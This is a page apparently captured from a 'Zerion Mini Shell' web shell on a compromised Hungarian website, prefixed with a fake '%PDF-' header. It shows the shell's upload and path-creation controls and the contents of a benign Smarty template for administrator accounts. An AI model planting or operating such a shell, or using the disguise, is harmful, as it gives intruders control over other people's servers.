%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/ua.nails.tv/smarty/templates_old/admin/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/ua.nails.tv/smarty/templates_old/admin/user.tpl.html

{* Smarty *}

<h1>Adminisztrátorok</h1>

{if isset($smarty.get.add)}

{if !empty($error)}
<p class="error">{$error}</p>
{/if}

<form id="user" method="post" action="{$smarty.server.PHP_SELF}">

<fieldset class="noborder">

<input type="hidden" name="id" value="{$edit.id}" />

<label for="name">Teljes név</label>
<input id="name" name="nev" type="text" class="text" value="{$edit.nev}" />

<label for="email">E-mail cím</label>
<input id="email" name="email" type="text" class="text" value="{$edit.email}" />

<label for="login">Login név</label>
<input id="login" name="login" type="text" class="text" value="{$edit.login}" />

<label for="pass">Jelszó</label>
<input id="pass" name="pass" type="password" class="text" />

<label for="pass2">Jelszó újra</label>
<input id="pass2" name="pass2" type="password" class="text" />

</fieldset>

<fieldset class="jogok">
<legend>Jogok</legend>
{section name=funkciok loop=$funkciok}
<p{if $funkciok[funkciok].hidden == 'f'} class="bold"{/if}>
<input type="checkbox" name="funkcio[{$funkciok[funkciok].id}]"{if isset($jogok) && in_array($funkciok[funkciok].id, $jogok)} checked="checked"{/if} />{$funkciok[funkciok].nev}<br />
</p>
{/section}
</fieldset>

<div class="clear"></div>

<fieldset class="submit">

<input id="submit" type="submit" value="ok" />
<input id="cancel" type="button" value="mégse" onclick="window.location = '{$smarty.server.PHP_SELF}';" />

</fieldset>

</form>

{else}

<p><a href="{$smarty.server.PHP_SELF}?add">új felvitele</a></p>

{if count($user)}
<form id="{$table}" method="post" action="{$smarty.server.PHP_SELF}">
<table cellspacing="0" cellpadding="5" width="100%" id="userlist" summary="Felhasználók listája">
<col />
<col width="70" />
<col width="50" />
<col width="30" />
<tr>
    <th>Név</th>
    <th></th>
    <th></th>
    <th><input type="checkbox" id="{$table}_checkall" onclick="javascript:changeAll('{$table}');" title="Mind kijelölés / Kijelölés törlése" /></th>
</tr>
{foreach from=$user item=item name=user}
<tr{if $smarty.foreach.user.iteration % 2 == 1} class="paratlan"{/if}>
    <td>{$item.nev} ({$item.login})</td>
    <td>
        {if $item.id != 1 || $uid == 1}
        <a href="{$smarty.server.PHP_SELF}?add&amp;edit={$item.id}" title="módosítás">módosítás</a></td>
        {/if}
    <td>
        {if $item.id != 1}
        <a href="{$smarty.server.PHP_SELF}?delete={$item.id}" title="törlés" onclick="return window.confirm('Biztos törlöd?');">törlés</a>
        {/if}
    </td>
    <td>{if $item.id != 1}<input type="checkbox" name="torol[{$item.id}]" />{/if}</td>
</tr>
{/foreach}
<tr class="nodrop nodrag">
    <td colspan="4" class="right"><input type="submit" value="kijelöltek törlése" onclick="return window.confirm('Biztos törli az összes kijelölt elemet?');" /></td>
</tr>
</table>
</form>
{else}
<p>Nincs adat.</p>
{/if}

{/if}

Zerion Mini Shell 1.0